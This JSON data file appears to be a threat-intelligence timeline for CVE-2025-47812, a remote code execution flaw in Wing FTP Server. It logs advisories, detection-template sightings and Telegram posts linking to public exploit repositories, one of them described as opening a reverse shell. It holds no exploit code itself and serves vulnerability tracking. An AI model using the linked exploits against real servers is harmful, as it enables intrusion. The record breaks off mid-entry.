{"metadata": {"vulnerability": "cve-2025-47812", "count": 273, "kinds": {"milestone": 5, "sighting": 238, "kev": 17, "other": 13}}, "data": [{"timestamp": "2018-05-29T15:50:33Z", "date_only": false, "value": "2018-05-29T15:50:33.000000Z", "kind": "sighting", "label": "Seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/ftp/wing_ftp_admin_exec.rb", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "6f57e1c6-b6a7-46f2-b9d9-a637cc4b0f69", "url": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/ftp/wing_ftp_admin_exec.rb"}, {"timestamp": "2025-05-10T00:00:00Z", "date_only": false, "value": "2025-05-10T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "cve-2025-47812", "field": "cveMetadata.dateReserved"}, {"timestamp": "2025-06-05T14:45:00Z", "date_only": false, "value": "2025-06-05T14:45:00Z", "kind": "other", "label": "Document generated", "source": "csaf_ncscnl \u00b7 NCSC-2025-0230", "record": "NCSC-2025-0230", "field": "document.tracking.generator.date"}, {"timestamp": "2025-06-30T19:43:49.767Z", "date_only": false, "value": "2025-06-30T19:43:49.767587Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/mrtuxracer.bsky.social/post/3lstwzmbum225", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "da4c24dc-abaa-4f10-86e9-71f3f276d0a9", "url": "https://bsky.app/profile/mrtuxracer.bsky.social/post/3lstwzmbum225"}, {"timestamp": "2025-06-30T19:58:14.498Z", "date_only": false, "value": "2025-06-30T19:58:14.498510Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3lstxtez76k2e", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "9c11ea66-3722-44cd-9c33-a81173ba46f5", "url": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3lstxtez76k2e"}, {"timestamp": "2025-06-30T20:54:34.551Z", "date_only": false, "value": "2025-06-30T20:54:34.551531Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/r-netsec.bsky.social/post/3lsu2y4lhkw24", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "476cbcd1-baed-49e0-93e3-870d5e626e7e", "url": "https://bsky.app/profile/r-netsec.bsky.social/post/3lsu2y4lhkw24"}, {"timestamp": "2025-06-30T21:55:02Z", "date_only": false, "value": "2025-06-30T21:55:02.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/thebugbountyhunter/10015", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "3ec84e68-a6a5-4463-ba7b-a3468a5cfc3b", "content": "What the NULL?! Wing FTP Server RCE (CVE-2025-47812) | RCE Security\n\nhttps://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/", "url": "https://t.me/thebugbountyhunter/10015"}, {"timestamp": "2025-07-01T12:06:15Z", "date_only": false, "value": "2025-07-01T12:06:15.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/42639", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "67330817-4a81-484f-bed8-80408227c71d", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1aWing FTP Server Remote Code Execution (RCE) Exploit (CVE-2025-47812)\nURL\uff1ahttps://github.com/4m3rr0r/CVE-2025-47812\n\n\u6807\u7b7e\uff1a#CVE-2025", "url": "https://t.me/GithubRedTeam/42639"}, {"timestamp": "2025-07-01T12:31:37Z", "date_only": false, "value": "2025-07-01T12:31:37.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/42642", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "ec37092b-acdb-4de1-ad74-e663292009ea", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aWing FTP Server Remote Code Execution (RCE) Exploit (CVE-2025-47812)\nURL\uff1ahttps://github.com/4m3rr0r/CVE-2025-47812-poc\n\n\u6807\u7b7e\uff1a#RCE", "url": "https://t.me/GithubRedTeam/42642"}, {"timestamp": "2025-07-01T15:00:05Z", "date_only": false, "value": "2025-07-01T15:00:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/89ftCfVT4ANXOHkYPkg4f1crlBnUuWLjMtwENkNHyTME0zA", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "2ba5216f-9906-404c-ae65-f17396842179"}, {"timestamp": "2025-07-01T18:22:41Z", "date_only": false, "value": "2025-07-01T18:22:41.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/42677", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "859e51a6-fc0b-457d-9e14-fbc13496e4a7", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1aSimple exploit for Wing FTP Server RCE (CVE-2025-47812) to run commands and get a reverse shell. For educational use only.\nURL\uff1ahttps://github.com/0xcan1337/CVE-2025-47812-poC\n\n\u6807\u7b7e\uff1a#CVE-2025", "url": "https://t.me/GithubRedTeam/42677"}, {"timestamp": "2025-07-01T18:54:32.475Z", "date_only": false, "value": "2025-07-01T18:54:32.475721Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3lsweqffyds2e", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "3591a973-4c95-4451-aa6c-b1fb7b039a1e", "url": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3lsweqffyds2e"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "52cf6aa8-6c6d-4b06-91dd-6dabfb4fea83", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "3742c0e4-37b3-4d57-a092-7fce0e5f99e4", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "cacbd189-5b93-455d-a311-55475e013041", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "dcdf9616-8827-4a2e-b91f-33497132ad51", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "44dc643a-f0b0-4f6e-94bb-5797b9fe7d9e", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "9983f3c7-9600-44bc-9fda-d3c657a46967", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "fd57949d-f4cd-48d4-bbfa-f2a770f181e9", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "e37f63b5-3606-4b0c-87fe-0586f2ed1fbe", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "cc82ff07-d9cf-4ca8-b7a4-6fbc38b715cf", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "b51d755a-58d1-4971-a017-61bcfafa6e8e", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "c3a10124-8f24-4623-94d8-03c9b12823cf", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "8090d308-eaee-4465-8e1e-ebed4f4041cb", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "f4360ae1-1b43-4628-be15-37c4bc814f9e", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "30759801-493e-4431-8626-775142d9b11c", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "32db3365-40cb-4236-900e-3dc0e1fcabb1", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "1a38901d-0b5a-46d1-8472-633bc6215928", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "8e3f5267-4a86-47a0-a3bb-0c76eb5feba9", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "25878446-ae2c-4be6-8fc9-d9b2e805806b", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "6bb91ee1-db27-423c-863c-b33a7b03be96", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "4c7a23af-dea4-481d-a21e-4115b79f748f", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "410d3abe-b8a8-4a87-8f1c-0133c6e503d2", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "4dabf1d8-5ebe-4455-aecb-7cb7c87861d0", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "1c5b9706-773f-4416-87ee-4730031d9bd3", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "3903daac-2ad3-403d-a049-1835ddf7c717", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "4f562008-5680-468c-a10d-44b210f863c9", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "b17bb51e-315d-49a5-9d26-c2199dd5bd0e", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "246ff877-916d-4c01-b3ce-acc38ad4e3ad", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "38187172-5d70-4ca8-98d0-5c1e615b3479", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "8d8ed585-2144-46d5-a7fa-1d7dfb1fa202", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "7e5d6a18-3118-4933-8356-3a57411f3e40", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "10b82c1c-8623-48f2-8b43-90b7926e454d", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T19:46:24Z", "date_only": false, "value": "2025-07-01T19:46:24.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "701c2c3d-9ea8-4269-87c3-b89d57dbc47f", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-47812.yaml"}, {"timestamp": "2025-07-01T21:00:16Z", "date_only": false, "value": "2025-07-01T21:00:16.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/awP8ckqKE2y34rcs6tjbDwmMzhasOsPjDttVM48TWCdkbcc", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "dacd68e4-0adb-410b-994c-b2a911ef00ba"}, {"timestamp": "2025-07-01T21:51:39Z", "date_only": false, "value": "2025-07-01T21:51:39.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/TheDarkWebInformer/18701", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "3699407d-c4fe-46b9-82e4-7796d61952e6", "content": "\ud83d\udea8CVE-2025-47812: Wing FTP Server Remote Code Execution (RCE) Exploit\n\nLink: https://github.com/4m3rr0r/CVE-2025-47812-poc\n\nWriteup: https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/", "url": "https://t.me/TheDarkWebInformer/18701"}, {"timestamp": "2025-07-01T21:52:01.051Z", "date_only": false, "value": "2025-07-01T21:52:01.051030Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/114780190780991393", "record": "cve-2025-47812", "field": "creation_timestamp", "uuid": "bbe03334-721b-4243-a913-148604a524c4", "url": "https://infosec.exchange/users/DarkWebInformer/statuses/114780190780991393"}, {"timestamp": "2025-07-01T21:52:15.852Z", "date_only": false, "value": "2025-07-01T21:52:15.852631Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/darkwebinformer.com/post/3lswoo5tc4225", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "4e6c4670-7f7b-459c-918c-763e5735b4d6", "url": "https://bsky.app/profile/darkwebinformer.com/post/3lswoo5tc4225"}, {"timestamp": "2025-07-02T03:00:11Z", "date_only": false, "value": "2025-07-02T03:00:11.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/CNnKMKqq-0b4iizBm9eEpRDvnhvIQnMAhoMwclOZBGxFrdc", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "ff4f44b4-1461-47a0-bef7-73aa375b4a2b"}, {"timestamp": "2025-07-02T08:14:43Z", "date_only": false, "value": "2025-07-02T08:14:43.000000Z", "kind": "sighting", "label": "Seen", "source": "https://www.acn.gov.it/portale/w/wing-ftp-server-poc-pubblico-per-lo-sfruttamento-delle-cve-2025-47812-e-cve-2025-47813", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "b248c1c3-a061-4f60-afd8-c6a466f9c889", "url": "https://www.acn.gov.it/portale/w/wing-ftp-server-poc-pubblico-per-lo-sfruttamento-delle-cve-2025-47812-e-cve-2025-47813"}, {"timestamp": "2025-07-02T08:25:40.378Z", "date_only": false, "value": "2025-07-02T08:25:40.378550Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lsxs2sraun2z", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "0dda4bd5-7cd0-43c9-94aa-552890a4232e", "url": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lsxs2sraun2z"}, {"timestamp": "2025-07-02T21:02:18.201Z", "date_only": false, "value": "2025-07-02T21:02:18.201425Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lsz4dpu2d327", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "19c872f8-ecb5-4f8c-9b7a-7b48dad42a28", "url": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lsz4dpu2d327"}, {"timestamp": "2025-07-02T22:41:39Z", "date_only": false, "value": "2025-07-02T22:41:39.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/42818", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "9211a050-258e-4c0f-8c25-d90ea8293ac4", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aWing FTP Server RCE via Lua Injection\nURL\uff1ahttps://github.com/0xgh057r3c0n/CVE-2025-47812\n\n\u6807\u7b7e\uff1a#RCE", "url": "https://t.me/GithubRedTeam/42818"}, {"timestamp": "2025-07-03T03:00:06Z", "date_only": false, "value": "2025-07-03T03:00:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/0biwTUuLeP8fV3CLIKNGVSiiFWt5ZFMF_6OnpLfPRJ6mS18", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "5a62e4ec-3200-42a3-9f87-f37a3ac5c980"}, {"timestamp": "2025-07-03T11:00:08Z", "date_only": false, "value": "2025-07-03T11:00:08.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/4nEFG70FLn0Rbkk7kz3oNxFnM3K7rGZ2wXOniWbWo7xTSkY", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "8729d82d-89b5-42b7-8e39-30bb334af9de"}, {"timestamp": "2025-07-03T15:04:42.541Z", "date_only": false, "value": "2025-07-03T15:04:42.541240Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/rcesecurity.com/post/3lt2ytb5zbc2o", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "33f3e5d0-e27a-47bf-98c8-61ba5801b4e2", "url": "https://bsky.app/profile/rcesecurity.com/post/3lt2ytb5zbc2o"}, {"timestamp": "2025-07-03T15:14:42.354Z", "date_only": false, "value": "2025-07-03T15:14:42.354475Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/mrtuxracer.bsky.social/post/3lt2zf4xht22o", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "85b1a259-dd47-411a-b1b7-25ab1826d0dd", "url": "https://bsky.app/profile/mrtuxracer.bsky.social/post/3lt2zf4xht22o"}, {"timestamp": "2025-07-03T17:24:26Z", "date_only": false, "value": "2025-07-03T17:24:26.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/kakashi-1337/11621b3420d533c976c0aa859387ed76", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "d7e87cd5-61f0-42ef-9463-8eab975f777a", "url": "https://gist.github.com/kakashi-1337/11621b3420d533c976c0aa859387ed76"}, {"timestamp": "2025-07-03T21:02:23.195Z", "date_only": false, "value": "2025-07-03T21:02:23.195609Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lt3mssaiie2s", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "b6e8948f-365a-42df-9ac9-fffa88c17bea", "url": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lt3mssaiie2s"}, {"timestamp": "2025-07-04T16:43:17Z", "date_only": false, "value": "2025-07-04T16:43:17.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/42984", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "247d5ca7-762a-4a79-a250-5c1871d65c10", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1aRemote Command Execution exploit for Wing FTP Server (CVE-2025-47812)\nURL\uff1ahttps://github.com/ill-deed/WingFTP-CVE-2025-47812-illdeed\n\n\u6807\u7b7e\uff1a#CVE-2025", "url": "https://t.me/GithubRedTeam/42984"}, {"timestamp": "2025-07-04T21:00:04Z", "date_only": false, "value": "2025-07-04T21:00:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/OollRHxvoptfGlV2c1gbdC6jSDWMy1y9qQszI5U7KKS9Kqc", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "fc654fc2-4269-44b6-89b3-aef127db57eb"}, {"timestamp": "2025-07-05T07:00:09Z", "date_only": false, "value": "2025-07-05T07:00:09.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/7syf6-3p00QFQUiu8wCVdLzELG3zjUWp-uUP0p0Rn4F8GCA", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "4970ec41-ba5b-4f20-9586-15f0ef1a9b48"}, {"timestamp": "2025-07-07T06:01:39Z", "date_only": false, "value": "2025-07-07T06:01:39.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/breachdetector/804297", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "0e7e8095-cd37-46c2-911e-f70a657428a6", "content": "{\n  \"Source\": \"Darkforums[.]st\",\n  \"Content\": \"(CVE-2025-47812) Wing FTP Server\", \n  